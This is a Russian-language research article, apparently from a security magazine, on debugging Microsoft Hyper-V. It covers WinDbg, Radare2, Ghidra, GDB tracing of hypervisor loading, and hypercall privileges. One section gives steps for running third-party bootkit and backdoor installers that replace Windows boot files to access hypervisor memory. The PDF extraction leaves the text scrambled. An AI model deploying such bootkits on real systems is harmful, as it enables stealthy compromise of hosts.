decypher_kdnet_key.py
kdnet

Ис поль зование скрип та decypher_kdnet_key.py

Те перь  запус ти  WinDbg,  исполь зуя  коман ду 

. В резуль тате ты смо жешь под клю чить ся к ОС хос та.

windbgx.exe  ‐k  net:
port=50005,key=2k85xmoorkrbx.u7xg1f35gwi4.24033ib08wzhs.2o8x‐
ly2z2ik5y

Под клю чение к хос товой ОС

Продолжение статьи →
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ГИПЕРОТЛАДКА
РАЗБИРАЕМ ОТЛАДКУ MICROSOFT HYPER‐V

С САМОГО НАЧАЛА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОТЛАДКА HYPER-V C ПОМОЩЬЮ ПОДМЕНЕННОГО ЗАГРУЗЧИКА
На  эту  тему  опуб ликова ны  два  иссле дова ния:  Hyper‐V  backdoor  Дмит рия
Олек сюка ( ) и Voyager, соз данный  . Их суть — в замене заг‐ 
рузоч ных фай лов Windows в целях перех вата про цес са заг рузки гипер визора
и интегра ции сво их управля ющих модулей. Пол ноцен ной отладкой это слож‐ 
но наз вать, но с при мене нием это го метода появ ляет ся воз можность читать
и изме нять память Hyper‐V. Под робнос ти ты най дешь на стра ницах упо мяну‐ 
тых про ектов.

@d_olex @_xeroxz

Заг рузи    и  запус ти  скрипт 
  в  хос товой  ОС  (про тес тирова но  в  вир туаль ной  сре де  на Win‐

dows  Server  2019  внут ри  VMware  Workstation).  Перезаг рузим  хос товую  ОС
и уви дим сле дующую кар тину.

пос леднюю  сбор ку  бэк дора bootkit_in‐
staller.ps1

За пуск скрип та bootkit_installer.ps1

В гос тевой ОС мы можем запус тить   и получить дос туп
к раз личным струк турам дан ных Hyper‐V.

backdoor_client.exe

Дос туп к раз личным струк турам дан ных Hyper‐V на гос тевой ОС

Вто рой  про ект,  Voyager, может быть  . Бинар ников
он  не  содер жит,  поэто му  их  необ ходимо  ском пилиро вать  с  помощью  Visual
Studio для под ходящей вер сии Windows. Пос ле чего запус тить файл 

,  который  заменит  заг рузоч ные фай лы Windows. Пос ле  перезаг рузки мы
уви дим сле дующую кар тину.

заг ружен  с  сай та GitHacks

launch.
bat

Заг рузка ОС пос ле при мене ния Voyager

Для про вер ки работос пособ ности мож но запус тить   внут ри гос‐ 
тевой ВМ.

example.exe

Про вер ка работос пособ ности Voyager

На деюсь, мы уви дим в будущем боль ше при меров для это го про екта.

ОТЛАДКА SECURE KERNEL
От ладку  поз воля ет  выпол нить  модуль  EXDi  для  LiveCloudKd  без  вклю чения
опции  отладки  в  заг рузчи ке  гос тевой  ОС.  Все  под робнос ти  мож но  узнать
в соот ветс тву ющей  .до кумен тации

ОТЛАДКА С ПОМОЩЬЮ RADARE2
Radare2  —  кон соль ное  средс тво  отладки,  под держи вающее  очень  мно го
режимов.  Мы  рас смот рим  толь ко  отладку  ядра  Windows.  Бинар ники  мож но
заг рузить по адре су  .github.com/radareorg/radare2

Нез начитель но  изме нив  исходни ки,  мож но  получить  допол нитель ную
информа цию о Hyper‐V (модифи циро ван ные бинар ники при ложе ны к статье).
Для начала рекомен дую почитать  , они содер жат 

.
офи циаль ные источни ки от‐ 

личные инс трук ции
До  запус ка  необ ходимо  ско пиро вать  сле дующие  рас ширения  WinDbg

x64 в пап ку с Radare2:

ext.dll 
exts.dll 
kdexts.dll 
kext.dll 

Не  забудь  ука зать  путь  к  пап ке  с  уста нов ленным WinDbg  x64  в  перемен ной
окру жения  . Вот некото рые коман ды для тес‐ 
тирова ния успешнос ти под клю чения:

_NT_DEBUGGER_EXTENSION_PATH

 — дизас сем бли рова ние;• pd

 — отоб ражение реги она памяти;• xq @0x<address>

 — перек лючение в режим GUI.• v

Radare2  может  под клю чать ся  к  ядру  Windows  в  двух  режимах:  через
интерфейс   и с исполь зовани ем собс твен ного про токо ла winkd.dbgeng.dll

Radare2 и интерфейс dbgeng.dll
Спер ва необ ходимо нас тро ить гипер визор в режиме сетевой отладки, как это
было опи сано рань ше, и запус тить Radare2 сле дующим обра зом:

   radare2 ‐d "windbg://‐k net:port=50011,key=1.2.3.4"

За пуск Radare2

Под клю чено!  Теперь  ты  можешь  выпол нять  стан дар тные  коман ды  WinDbg,
исполь зуя пре фикс  .=!

Вы пол нение стан дар тных команд отладчи ка

Radare2 и встроенный протокол
Мож но поп робовать под клю чить ся к гипер визору по сети, выпол нив коман ду

.  Я  получил
ошиб ку  откры тия  UDP‐сокета,  хотя    показал,  что  порт  открыт.  Воз‐ 
можно, это ошиб ка нас трой ки на моем стен де, но испра вить ее мне не уда‐ 
лось. В свя зи с этим будем исполь зовать отладку через COM‐порт. Для это го
нуж но  нас тро ить  гипер визор  так,  как  это  было  опи сано  рань ше,  запус тить

 и под клю чить Radare2 к име нован ному каналу:

radare2  ‐D  winkd  winkd://192.168.174.1:50011:1.2.3.4
netstat

vmdemux

     radare2 ‐D winkd winkd://\\.\pipe\Vm0

Ис поль зуя  дан ные  про токо ла  отладки,  мож но  получить  допол нитель ную
информа цию о заг ружен ном модуле Hyper‐V.

По луче ние допол нитель ной информа ции о заг ружен ном модуле Hyper‐V

Иног да Radare2 не может под клю чить ся к COM‐пор ту и вис нет. В этом слу чае
нуж но прос то спер ва под клю чить ся обыч ным WinDbg‐отладчи ком, отклю чить‐ 
ся и под соеди нить ся с помощью Radare2.

Cutter
Cutter — GUI‐фрон тенд для Radare2, обла дает дос таточ но инте рес ными отла‐ 
доч ными воз можнос тями, но пока что находит ся в бета‐ста дии. К тому же Cut‐
ter  обла дает  встро енной  под дер жкой  деком пилято ра Ghidra,  что  дела ет  его
очень  полез ным. В  нас тоящее  вре мя Cutter  под держи вает отладку  по GDB‐
про токо лу  и  име нован ным  каналам  WinDbg.  Мне  уда лось  под клю чить ся
к началь ной ста дии заг рузки ОС.

Под клю чение к началь ной ста дии заг рузки ОС

QEMU
QEMU под держи вает вло жен ную вир туали зацию, но без ядер ного аксе лера‐ 
тора работа ет очень мед ленно. Уско ряющий модуль KVM, под держи вающий
вло жен ную  вир туали зацию,  дос тупен  на  плат форме  Linux.  Ради  инте реса
рекомен дую пос мотреть про ект  . Microsoft WHPX и In‐
tel haxm пока что вло жен ную вир туали зацию не под держи вают.

Debugging secure kernel

GHIDRA + ПЛАГИН RET-SYNC
Ты  можешь  заг рузить  ском пилиро ван ную  вер сию  «Гид ры»  с 

, а пла гин ret‐sync — с  . Пла гин поз воля ет син хро низи ровать раз‐ 
личные  отладчи ки  меж ду  собой.  Син хро низи ровать  будем  с  WinDbg  (хотя
мож но и с GDB).

офи циаль ного
сай та GitHub

Для соз дания про екта нуж но выпол нить сле дующие дей ствия:
1. За пус ти «Гид ру», исполь зуя  .ghidraRun.bat
2. Им порти руй  пла гин  ret‐sync:  File →  Install  extension,  наж ми  зеленый  плю‐ 
сик. Выбери архив ZIP с пла гином.

Им порт пла гина ret‐sync

3. Наж ми ОK, переза пус ти «Гид ру».
4. Вы пол ни коман ды File → New project. Non shared project. Ука жи имя про‐ 
екта и пап ку, в которой будут хра нить ся слу жеб ные фай лы.

5. За пус ти  CodeBrowser  нажати ем  кноп ки  в  панели  Tool  Chest.  Ты  уви дишь
сооб щение об уста нов ке пла гина ret‐sync.

Со обще ние об уста нов ке пла гина ret‐sync

6. Наж ми ОK, появит ся окно с пус тым про ектом. Заг рузи файл  ,
исполь зуя File → Import file.

hvix64.exe

Заг рузка фай ла

7. Наж ми  OK.  Файл  будет  заг ружен.  Пос ле  того  как  появит ся  зап рос
на выпол нение ана лиза, наж ми Yes.

Наж ми Yes, юзер нейм!

8. Вклю чи фун кцию Aggressive Instruction Finder.

Вклю чение Aggressive Instruction Finder

9. Наж ми OK. Прог ресс опе рации мож но уви деть в пра вом ниж нем углу окна.
10. Да лее  появит ся  сооб щение  о  том,  что  файл    отсутс тву ет.

Прос то наж ми OK.
hvix64.pdb

11. Наж ми  Alt‐S  для  акти вации  пла гина  ret‐sync,  и  ты  уви дишь  сле дующие
сооб щения.

Со обще ния в кон соли

12. Под клю чи WinDbg к Hyper‐V (нап ример, по сети) и заг рузи рас ширение ret‐
sync:

 .load @”C:\hv_debugging\sync.dll”
!sync

Ес ли все прош ло успешно, ты уви дишь сооб щение в кон соль ном окне «Гид‐ 
ры».

Со обще ние в кон соль ном окне «Гид ры»

Ок но WinDbg будет отоб ражать выпол нение команд.

Вы пол нение команд в окне WinDbg

Для  про вер ки  я  пос тавил  точ ку  оста нова  на  обра бот чик  гипер вызова 
 (F2) и затем запус тил отладку (F5). Точ ка оста нова сра бота ла.

Hv‐
PostMessage

Точ ка оста нова сра бота ла

Ком бинации кла виш ret‐sync мож но най ти на офи циаль ной стра нице Radare2,
опции  пла гина  ret‐sync  для  WinDbg  отоб ража ются  в  кон соли  по  коман де 

.  Ты  можешь  ско пиро вать  сим воль ную  информа цию  из  IDA  PRO
в «Гид ру» с исполь зовани ем  .

!
synchelp

пла гина Fake PDB

Пла гин Fake PDB

Ин терес но,  что  «Гид ра»  во  вре мя  ана лиза    (сбор‐ 
ка  10.0.17763.1577)  наш ла  4100  фун кций,  в  отли чие  от  IDA  PRO,  которая
обна ружи ла все го 3687 фун кций.

hvix64.exe

Продолжение статьи →
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ГИПЕРОТЛАДКА
РАЗБИРАЕМ ОТЛАДКУ MICROSOFT HYPER‐V

С САМОГО НАЧАЛА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ЗАГРУЗКА ГИПЕРВИЗОРА
Вспо мога тель ные ком понен ты заг рузки гипер визора со вре менем менялись:

 — Windows Server 2008, 2008 R2;• hvboot.sys

 или   — Windows Server 2012 R2, 2016;• hvloader.exe hvloader.efi

 — Windows 10, Windows Server 2019.• hvloader.dll

От ладка  гипер визора  с  помощью WinDbg  дос таточ но  удоб на,  но  не  всег да
воз можна  —  нап ример,  ког да  нуж но  отла дить  secure  kernel  или  сре ду
со вклю чен ной опци ей Secure Boot. Поэто му мы рас смот рим заг рузку гипер‐ 
визора при помощи GDB‐отладки.

Для это го нам нуж но заг рузить в IDA PRO сле дующие фай лы:
 (сбор ка 10.0.17763.1554);• winload.efi

 (сбор ка 10.0.17763.1577);• hvloader.dll

 (сбор ка 10.0.17763.1577).• hvix64.exe

За тем надо нас тро ить для них опции отладки по GDB‐про токо лу. Для фай лов
 и   сим волы отсутс тву ют. Спер ва мы дол жны най ти

адре са  заг рузки    и    с  помощью  WinDbg,  затем
отклю чить WinDbg,  вклю чить Secure Boot  и  про дол жить  отладку  уже  по  про‐ 
токо лу GDB.

hvix64.exe hvloader.dll
winload.efi hvloader.dll

Для тес тирова ния я исполь зовал Windows Server 2019 c четырь мя CPU (для
заг рузки  количес тво  про цес соров  не  так  важ но,  но,  как  толь ко  заг рузит ся
гипер визор GDB, отладчик будет пос тоян но перек лючать ся меж ду кон тек стом
гипер визора  и  ядра  Windows).  Спер ва  заг рузим  .  IDA  PRO
не показы вает некото рые опции отладки, если бинар ник име ет  тип Windows
boot  application.  Запус ти  свой  любимый  PE‐редак тор,  выбери  Optional
header → Subsystem и поменяй Windows boot application на Windows GUI.

winload.efi

Для  нас трой ки  отладки  необ ходимо  выб рать  Debugger  →  Select
Debugger → GDB, в поле Process Options ука зать Hostname   и port

.
127.0.0.1

8864

Нас трой ка отладки гипер визора

В  гос тевой ОС был акти виро ван режим bootdebug on,  поэто му  пос ле  вклю‐ 
чения ОС заг рузка оста новит ся в про цеду ре  .winload!DebugService2

За пус ти WinDbg коман дой 
, и ты получишь адрес заг рузки:

WinDBG.exe ‐b ‐k net:port=50002,key=1.2.
3.4

 kd> lm
 start             end                 module name

          00000000`008c4000 00000000`00aa5000 winload (pdb symbols)

Мо дуль   уже был открыт в IDA PRO, поэто му выбери Debugger →
attach для под клю чения к GDB‐сер веру отладки VMware, запус ти Edit → Seg‐
ments → Rebase, ука жи получен ный ранее адрес    ( )
и наж ми OK. Теперь дож дись завер шения про цеду ры и сох рани базу. Адрес
заг рузки   не изме нит ся пос ле перезаг рузки, поэто му опе рация
rebase не пот ребу ется. Затем:

winload.efi

winload.efi 0x008c4000

winload.efi

пос тавь  точ ку  оста нова  на    и  про‐ 
дол жи отладку (F9);

• winload!OslArchHypervisorSetup

про дол жи отладку в ранее запущен ном WinDbg (F5).•

Фун кция    про веря ет,  была  ли  уста‐ 
нов лена опция заг рузки  .

winload!OslGetHypervisorLaunchType
hypervisorlaunchtype (0x250000f0)

Оп ция заг рузки hypervisorlaunchtype

Вы зов фун кции HvlpLoadHvLoader

Ес ли параметр был задан и его зна чение рав но 1  (Auto), фун кция заг ружа ет
 и получа ет адре са сле дующих фун кций, экспор тиру емых биб‐ 

лиоте кой:
hvloader.dll

• HvlRescindVsm

• HvlLaunchHypervisor

• HvlLoadHypervisor

• HvlRegisterRuntimeRange

• HvlUpdateMcUpdateStatus

• HvlPreloadHypervisor

По луче ние адре сов фун кций, экспор тиру емых hvloader.dll

Да лее  выпол няет ся  фун кция  .  Пос ле  вызова
  выпол няет ся  .  Для  отладки

 мы  дол жны  перек лючить ся  меж ду  базами.  C  этой  целью  был
написан скрипт для  IDA PRO  ,  который покажет базу
заг рузки    (вер нее,  получит  ее  нап рямую  из  базы  )
и  про пат чит  фун кцию    таким  обра зом,  что бы
она зацик лилась (EB FE — jmp rip).

winload!HvlpLoadHypervisor
CmpFindSkuType hvloader!HvlLoadHypervisor
hvloader.dll

PatchHvLoader2019.py
hvloader winload.exe

hvloader!HvlLoadHypervisor

PatchHvLoader2019.py про пат чил hvloader!HvlLoadHypervisor

Скрипт  тре бует  руч ного  опре деле ния  имен  в  базе  IDA  PRO: 
  и  .  Перемен ные  рас положе ны  внут ри  фун‐ 

кции  , это вид но на сле дующей иллюс тра ции.

hvloader_im‐
age_base p_HvlLoadHypervisor

winload!HvlpLoadHvLoader

Пе ремен ные hvloader_image_base и p_HvlLoadHypervisor

Ад рес    нуж но  запом нить.  Отклю чи  текущую GDB‐сес‐ 
сию и заг рузи   в IDA. Под клю чись к GDB‐сер веру. CPU дол жен
быть зацик лен с помощью инс трук ции  . Теперь выпол ни Edit →  seg‐
ments →  rebase  и  вве ди  най ден ный  адрес  .  Запус ти

.  Мож но  отла живать  .  Спер ва
  получа ет  все  опции  заг рузки  Windows  и  под готав лива ет 

 к отладке, если она была вклю чена.

hvloader_image_base
hvloader.dll

jmp rip
hvloader_image_base

RestoreHvLoader2019.py hvloader.dll
hvloader hvix64.
exe

Под готов ка hvix64.exe к отладке

Те перь у нас есть адрес заг рузки   и  . Вык люча ем
ВМ, вклю чаем опцию SecureBoot (Option → Advanced → UEFI → Enable secure
boot).  Добавь  строч ку    в  кон‐ 
фигура цион ный файл ВМ (рас ширение  ) и запус ти ВМ. Открой базу 

  в  IDA  PRO,  под клю чись  отладчи ком  к  GDB‐сер веру  VMware,  и  ты
оста новишь ся  непос редс твен но  на  началь ной  про цеду ре  запус ка  вир туаль‐ 
ной опе раци онной сис темы (где‐то на ран ней ста дии заг рузки BIOS).

winload.efi hvloader.dll

monitor.debugOnStartGuest64  =  "TRUE"
.vmx win‐

load.efi

На чало заг рузки BIOS

Наж ми F9 и подож ди, пока сно ва не про изой дет оста нов ка в про цеду ре 
.  Мож но  про дол жать  отладку,  будут  выпол‐ 

нять ся  ,  затем 
  и  .  Далее  заг рузчик

выпол няет ини циали зацию дис ков (вклю чая VHD, если была нас тро ена опция
заг рузки  с  VHD‐дис ка),  ини циали зацию  UEFI  (

),  полити ки  целос тнос ти  кода  (
),  а  так же  про цеду ры 

,  .

win‐
load!OslArchHypervisorSetup

Winload.efi!BlSiHandleHypervisorLaunchEvent winload!
OslArchHypercallSetup winload!VlpSetupPhase0

winload!
BlHSTICallProviders winload!OslInitial‐
izeCodeIntegrity winload!OslFwProtectSecConfig‐
Vars winload!OslpProcessEVStore

Пе рехо дим  к  .  Из  этой  про цеду ры  вызыва ется
ранее най ден ная фун кция  .

winload!VlpSetupPhase1
hvloader!p_HvlRescindVsm

Да лее   сно ва вызыва ет 
,  а    выпол няет  дру гой

блок  кода  и  на  этот  раз  вызыва ет  .
В  свою оче редь,    выпол няет 

,    и  затем
переда ет управле ние заг ружен ному гипер визору.

winload!OslExecuteTransition winload!VlpSe‐
tupLaunchPhase winload!OslArchHypervisorSetup

hvloader.dll!p_HvlLaunchHypervisor
Hvloader.dll!HvlLaunchHypervisor bootlib!

BlGetExecutionEnvironment bootlib!OslLoadMicrocodeUpdate

Пе реда ча управле ния гипер визору

Пос ле выпол нения инс трук ции   мы видим,  что адре са памяти
выше   перес тают быть дос тупны.

mov cr3, rcx
0x3000

Ад реса памяти выше 0x3000 перес тают быть дос тупны

Од нако    уже  заг ружен  в  64‐бит ное  адресное  прос транс тво.
Для  дос тупа  к  памяти  нуж но  вруч ную  соз дать  в  IDA  PRO  область  памяти
для отладчи ка (manual memory region).

Hvix64.exe

Соз даем в IDA PRO область памяти для отладчи ка

Вы деля емая область памяти име ет сле дующие началь ный и конеч ный адре‐ 
са:

Start address: FFFFFB0000000000 
End address: FFFFFCFFFFFFFFFF 

В  прин ципе,  если  отладчик  не  выда ет  ошиб ку,  мож но  задать  рас ширен ный
диапа зон  ( ).  Если  текущая  инс трук ция  вый дет
за диапа зон ука зан ных адре сов, то IDA PRO прос то завис нет.

0‐0xFFFFFFFFFFFFFFFF

Вы пол ни пошаго вую отладку до инс трук ции  , затем скрипт 
.  Зак рой  базу  ,  открой    и  сно ва

под клю чись к GDB‐сер веру. Потом для поис ка адре са заг рузки гипер визора
запус ти  ,  затем  —  ,  который
воз вра щает назад заменен ные инс трук ции. Мы внут ри hvix64.exe.

jmp rdx Patch‐
Hvix64_2019.py hvloader.dll hvix64.exe

RebaseHVGdb2019.py RestoreHvix64_2019.py

hvix64.exe

Пос ле выпол нения инс трук ции   мы вер немся в  , в точ‐ 
ку  ,  которая  была  задана  в  поле  ,  и  заг рузка  ОС  про дол жится
в обыч ном режиме.

vmlaunch hvloader.dll
vm_exit vmcs

Воз врат из hvloader.dll

Ес ли  хочет ся  отла дить    с  помощью  GDB,  нуж но  сде лать  сле‐ 
дующее:

hvix64.exe

за пус тить  VMware  в  режиме  отладки  GDB  и  выпол нить  оста нов ку
на началь ной ста дии заг рузки BIOS;

•

от крыть базу дан ных с  , под клю чить к GDB и пос тавить точ ку
оста нова на инс трук ции, которая вызыва ет 

;

• winload.efi

hvloader!HvlLaunchHyper

visor

на жать F9;•
за пус тить скрипт  ;• 1_PatchHvLoader2019.py

зак рыть  базу  IDA  PRO  с  ,  открыть  базу  с 
и под клю чить ся к GDB;

• winload.efi hvloader.dll

за пус тить  ;• 2_RestoreHvLoader2019.py

соз дать  точ ку  оста нова  на  инс трук ции,  переда ющей  управле ние  гипер‐ 
визору ( );

•
jmp r8

за пус тить  ;• 3_PatchHvix64_2019.py

зак рыть  базу  дан ных  с  ,  открыть  базу  дан ных  с 
 и под клю чить ся к GDB‐сер веру;

• hvloader.dll hvix64.

exe

за пус тить скрипт  ;• 4_RebaseHVGdb2019.py

за пус тить скрипт  .• 5_RestoreHvix64_2019.py

Пос ле это го мож но отла живать   (в скрип те забит стар товый адрес
по  сме щению  ).  Сле дует  отме тить,  что  про цесс  заг рузки  гипер визора
в Windows  Server  2012  (и  выше)  сущес твен но  отли чает ся  от Windows  Server
2008 R2, где под готов ка и запуск гипер визора про изво дит ся драй вером 

,  который  запус кает ся  пос ле  заг рузки  ядра  Windows.  Акти вация
гипер визора  с  помощью  инс трук ции  ,  выпол ненная  в  ,
и сле дующий выход из ВМ обра баты вает ся  . Более поз дние вер‐ 
сии  исполь зуют  ,  который  запус кает ся  непос редс твен но  из 

.

hvix64.exe
0x7a

hv‐
boot.sys

vmlaunch hvboot.sys
hvix64.exe

hvloader win‐
load.exe

ПОИСК СИМВОЛЬНОЙ ИНФОРМАЦИИ
С  2018  года  мно гие  ком понен ты  Hyper‐V  име ют  обще дос тупные  сим волы.
На  момент  пуб ликации  толь ко  ,    и 
с    не  име ли  сим волов.  Пос ледние  модули 
и  ,  име ющие  сим волы,  могут  быть  заг ружены  для  модулей,
ском пилиро ван ных до мар та 2018‐го (я исполь зовал сим волы 
из Windows 10, сбор ка 17115, дата сбор ки — 03.03.2018).

hvix64.exe hvax64.exe hvaa64.exe
hvloader.dll hvloader.exe
hvloader.dll

hvloader.dll

При  заг рузке    в  IDA  PRO  мы  получа ем  око ло  четырех  тысяч
фун кций с име нами вро де  . Для  уско рения иссле дова‐ 
ния гипер визора мож но сна чала попытать ся опре делить некото рые фун кции
без под робно го изу чения. В пер вую оче редь сто ит исполь зовать bindiff  (или
diaphora)  для  срав нения  фай лов  ,    и  ,  для  которых
пре дос тавля ется  сим воль ная  информа ция.  Срав нение  показы вает,  что
сетевая  фун кция  ( ),  USB,  крип тогра фия  и  некото рые  дру гие  фун кции
в точ ности такие же, как и в    (в Windows Server 2019 и Windows
10  фун кции  отладки  Hyper‐V  и  сетево го  драй вера  были  переме щены
в отдель ные модули, нап ример  ). Тот же самый bindiff поз воля ет
переме щать  име на  сов пада ющих  фун кций  из  одной  базы  дан ных  в  дру гую.
Одна ко  к  это му  методу  сто ит  отнестись  с  осто рож ностью  и  не  перено сить
сра зу все пол ностью сов павшие фун кции. По край ней мере, про ана лизи руй
резуль тат: срав ни гра фы сов павших фун кций (Ctrl‐E).

hvix64.exe
sub_FFFFF8000XXXXX

hvix64 hvloader winload

e1000
winload.exe

bootlib.dll

Да лее  надо  опре делить  фун кции  обра бот ки  пре рыва ний  и  исклю чений,
стан дар тные для про цес соров архи тек туры x86. Облегчит эту задачу неболь‐ 
шой скрипт на Python ( ) для пар синга IDT. Его необ ходимо запус‐ 
кать  в  IDA  PRO,  пред варитель но  под клю чив шись  через  отла доч ный  модуль
WinDbg  к  гипер визору.  Если  часть  ISR  не  была  най дена,  сле дует  про верить
вклад ку List of problems в IDA PRO, так как IDA может не най ти эти про цеду ры
авто мати чес ки.

ParseIDT.py

Да лее мож но опре делить про цеду ру выхода  ,  про читав зна чения
полей  : изу чи про цеду ру запол нения   в   или же вос поль‐ 
зуйся скрип том  , который в кон тек сте гипер визора счи тыва‐ 
ет  все  поля    и  выводит  их  зна чения.  Есть  хорошие  скрип ты  IDA‐Python
от  Бех руза  Аббасси  (Behrooz  Abbassi  —  @rceninja): 
и  . С их помощью мож но получить сим воличес кие име на
полей   и   внут ри базы дан ных IDA.

VM exit
VMCS VMCS hvix64.exe

display‐vmcs.py
VMCS

ia32_msr_decoder.py
IA32_VMX_Helper.py

MSR VMCS
Хо рошие новос ти: здесь при сутс тву ют сим волы  ,  ,

 для Windows Server 2008. Пло хая новость зак люча ется в том, что
Windows Server 2008 уже дав но не обновля ется и не вклю чает в себя мно гих
новых фун кций Hyper‐V. Но ты можешь изу чить базовый механизм работы Hy‐
per‐V и реали зацию гипер вызовов в срав нении с Hyper‐V TLFS 1.0.

hvix64.exe hvax64.exe
hvboot.sys

Очень  хороший  заголо воч ный  файл  ,  содер жащий  акту аль ную
информа цию  о  Hyper‐V  (о  струк турах  гипер визора  Windows  10  и  Windows
Server 2019),   Алекс Ионес ку ( ).

hvgdk.h

соз дал @aionescu

Продолжение статьи →

https://ionescu007.github.io/hdk
https://twitter.com/aionescu


ГИПЕРОТЛАДКА
РАЗБИРАЕМ ОТЛАДКУ MICROSOFT HYPER‐V

С САМОГО НАЧАЛА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

УТИЛИТЫ
В пос ледние годы было раз работа но мно жес тво полез ных сис темных ути лит.
Я не буду опи сывать ути литы Sysinternals, потому что они зна комы всем,  кто
занима ется иссле дова нием внут ренне го устрой ства Windows. Еще сущес тву‐ 
ет  инте рес ный  набор  ути лит  от  Пав ла  Йоси фови ча  ( ),  который
известен  как  один  из  авто ров  седь мого  изда ния  пер вой  час ти  кни ги  «Внут‐ 
реннее  устрой ство  Windows».  Они  похожи  на  ути литы  Sysinternals,  но  пос‐ 
тавля ются  .

@zodiacon

с откры тым исходным кодом
С  помощью  ETWProvider  мож но  пос мотреть  спи сок  ETW‐про вай деров,

исполь зуемых ком понен тами Hyper‐V в работа ющей сис теме.

Ути лита ETWProvider

С исполь зовани ем ути литы DrvMon мож но уви деть вза имо дей ствие ядер ных
ком понен тов и ком понен тов, запущен ных в поль зователь ском режиме.

Ути лита DrvMon

  так же  может  быть  исполь‐ 
зован для получе ния допол нитель ной информа ции о работе ком понен тов Hy‐
per‐V. Не менее полез ны ути литы для сбо ра событий ETW:

На бор  ути лит  для  диаг ности рова ния  от Microsoft

;• VMLtrace

;• Fruti

;• tss_VMLverbosity.ps1

.• V_Tracing_Using_Channels.ps1

VMLtrace и Fruti

tss_VMLverbosity.ps1 и V_Tracing_Using_Channels.ps1

ГИПЕРВЫЗОВЫ
Пос ледняя  вер сия  докумен та  Hypervisor  Top‐Level  Functional  Specification
для Windows  Server  2019 —  6.0b —  опи сыва ет  интерфей сы  Hyper‐V  и  внут‐ 
реннее устрой ство некото рых ком понен тов гипер визора. Каж дая вир туаль ная
машина, а так же непос редс твен но ОС с уста нов ленным ком понен том Hyper‐V
пред став ляет ся в виде раз дела (partition). У каж дого раз дела есть свой иден‐ 
тифика тор,  который дол жен быть  уни каль ным в рам ках  хост‐сер вера и име‐ 
ет 64‐бит ное зна чение.

Для каж дого раз дела при соз дании зада ются при виле гии (струк тура 
),  которые  и  опре деля ют  воз можность  выпол‐ 

нения кон крет ных гипер вызовов. Узнать при виле гии мож но, выпол нив в root‐
partition сле дующий код в Ring 0:

HV_‐
PARTITION_PRIVILEGE_MASK

 WinHvGetPartitionId(&PartID); // ID раздела

 
WinHvGetPartitionProperty(PartID,HvPartitionPropertyPrivilegeFlags,&
HvProp); // Свойства раздела возвращаются в HvProp

Здесь   — одно из зна чений перечис‐ 
ления  , которы ми опе риру ют фун кции, экспор‐ 
тиру емые драй верами   и  .

HvPartitionPropertyPrivilegeFlags
HV_PARTITION_PROPERTY_CODE

winhvr.sys winhv.sys

HV_STATUS
WinHvGetPartitionProperty(
      __in HV_PARTITION_ID PartitionId,
     __in HV_PARTITION_PROPERTY_CODE PropertyCode,
      __out PHV_PARTITION_PROPERTY PropertyValue
);

Так же при необ ходимос ти эти при виле гии мож но поменять, выз вав в root‐par‐
tition сле дующую фун кцию:

HV_STATUS
WinHvSetPartitionProperty(
      __in HV_PARTITION_ID PartitionId,
     __in HV_PARTITION_PROPERTY_CODE PropertyCode,
      __in HV_PARTITION_PROPERTY PropertyValue
);

Зна чение   для раз дела Windows Serv‐
er 2019:  .

HvPartitionPropertyPrivilegeFlags
002BB9FF00003FFF

Зна чение    для  гос тевого  раз дела:
.

HvPartitionPropertyPrivilegeFlags
003B80B000002E7F

В гос тевой ОС при виле гии мож но получить, помес тив в 
и  выпол нив  инс трук цию    (в  докумен те  Hyper‐V  TLFS  6.0b  дана  рас‐ 
шифров ка резуль татов CPUID).

EAX 0x40000003
CPUID

EAX =00002E7F (101110 01111111) — биты 31‐0 HV_PARTITION_PRIVILEGE_‐
MASK 
EBX =003B8030 (111011 10000000 00110000) — биты 63‐32 HV_PARTI‐
TION_PRIVILEGE_MASK 
ECX =00000002 (10) — зарезервировано 
EDX =00BED7B2 (10111110 11010111 10110010) 
Bit 1:  Guest debugging support is available 
Bit 4:  Support for passing hypercall input parameter block via XMM 
registers is available 
Bit 5:  Support for a virtual guest idle state is available 
Bit 7:  Support for querying NUMA distances is available 
Bit 8:  Support for determining timer frequencies is available 
Bit 9:  Support for injecting synthetic machine checks is available. 
Bit 10: Support for guest crash MSRs is available 
Bit 12: Support for NPIEP is available 
Bit 14: ExtendedGvaRangesForFlushVirtualAddressListAvailable 
Bit 15: Support for returning hypercall output via XMM registers is 
available 
Bit 17: SintPollingModeAvailable 
Bit 18: HypercallMsrLockAvailable 
Bit 19: Use direct synthetic timers 
Bit 20: Support for PAT register available for VSM 
Bit 21: Support for bndcfgs register available for VSM 
Bit 23: Support for synthetic time unhalted timer available 

В гипер визоре мож но получить при виле гии раз дела, который выпол нил опе‐ 
рацию, выз вавшую  , если вычис лить зна чение  . Для это го нуж но
про читать зна чение поля  :

VM exit gs:0
HOST_GS_BASE в VMCS или же IA32_GS_BASE MSR

 WINDBG>rdmsr 0xc0000101
   msr[c0000101] = fffffbdb`a68c2000

За тем сле дует получить зна чение, на которое ука зыва ет  , и перей ти
по сме щению  .

gs:83a8
0xd8

 WINDBG>dc poi(fffffbdb`a68c2000+0x83a8)+d8
           ffffe800`000010d8 00003fff 002bb9ff 00000000 ffffe800 .?....+

.........
           ffffe800`000010e8 00000000 00000000 00216560 ffffe800 ........`e!

.....
           ffffe800`000010f8 00000001 00000000 00000000 00000000

................
           ffffe800`00001108 002342c0 ffffe800 00000000 00000000 .B#

.............

В дан ном слу чае VM exit был выпол нен из root‐partition. Гипер визор в каж дом
из  раз делов  фор миру ет  спе циаль ную  стра ницу  для  выпол нения  гипер‐ 
вызовов.  Ее  адрес  мож но  получить,  если  про читать 

.
MSR  0x40000001  (

HV_X64_MSR_HYPERCALL)
Windows Server 2019 на Windows Server 2019:

   kd> rdmsr 0x40000001
   msr[40000001] = 00000000`00767000

 kd> up 00000000`00767000 L50
   kd> up 00000000`00767000 L50

 00000000`00767000 0f01c1          vmcall
 00000000`00767003 c3              ret
       00000000`00767004 8bc8            mov ecx,eax
       00000000`00767006 b811000000      mov eax,11h
 00000000`0076700b 0f01c1          vmcall
 00000000`0076700e c3              ret
       00000000`0076700f 488bc1          mov rax,rcx
          00000000`00767012 48c7c111000000 mov rcx,11h
 00000000`00767019 0f01c1          vmcall
 00000000`0076701c c3              ret
       00000000`0076701d 8bc8            mov ecx,eax
       00000000`0076701f b812000000      mov eax,12h
 00000000`00767024 0f01c1          vmcall
 00000000`00767027 c3              ret
       00000000`00767028 488bc1          mov rax,rcx
          00000000`0076702b 48c7c112000000 mov rcx,12h
